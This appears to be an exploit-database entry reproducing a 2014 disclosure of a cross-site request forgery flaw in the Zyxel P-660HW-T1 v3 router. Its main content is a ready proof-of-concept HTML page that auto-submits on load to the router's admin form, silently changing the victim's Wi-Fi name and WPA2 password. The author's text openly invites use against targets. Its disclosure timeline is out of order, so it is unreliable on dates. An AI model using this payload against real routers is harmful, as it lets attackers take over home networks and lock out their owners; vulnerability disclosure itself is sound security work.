Zyxel P-660HW-T1 v3 Wireless Router - CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Zyxel P-660HW-T1 v3 Wireless Router - CSRF Vulnerability disclosed by Mustafa ALTINKAYNAK with full details of the exploit and disclosure timelin


                                                # Exploit Title: Zyxel P-660HW-T1 v3 Wireless Router - CSRF Vulnerabilities
# Date: 05/22/2014
# Author: Mustafa ALTINKAYNAK
# Vendor Homepage:http://www.zyxel.com/tr/tr/products_services/p_660hw_series.shtml?t=p
# Category: Hardware/Wireless Router
# Tested on: Zyxel P-660HW-T1 v3 Wireless Router
# Patch/ Fix: Vendor has not provided any fix for this yet
---------------------------
 
Technical Details
---------------------------
This vulnerability was tested at the P-660HW-T1 devices. Admin panel is open you can run remote code destination.
You can send the form below to prepare the target. Please offending. Being partners in crime.

Disclosure Timeline
---------------------------
05/21/2014  Contacted Vendor 
05/22/2014  Vendor Replied
04/22/2014  Vulnerability Explained (No reply received)
05/23/2014  Full Disclosure

Exploit Code 
---------------------------
 
Change Wifi (WPA2/PSK) password & SSID by CSRF
---------------------------------------------------------------------------------
&#60;html&#62;
&#60;body onload=&#34;document.form.submit();&#34;&#62;
&#60;form action=&#34;http://192.168.1.1/Forms/WLAN_General_1&#34;
method=&#34;POST&#34; name=&#34;form&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;EnableWLAN&#34; value=&#34;on&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Channel_ID&#34; value=&#34;00000005&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;ESSID&#34; value=&#34;WIFI NAME&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Security_Sel&#34; value=&#34;00000002&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;SecurityFlag&#34; value=&#34;0&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;WLANCfgPSK&#34; value=&#34;123456&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;WLANCfgWPATimer&#34; value=&#34;1800&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;QoS_Sel&#34; value=&#34;00000000&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;sysSubmit&#34; value=&#34;Uygula&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62; 

-----------

Mustafa ALTINKAYNAK
twitter : @m_altinkaynak &#60;https://twitter.com/m_altinkaynak&#62;
www.mustafaaltinkaynak.com

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1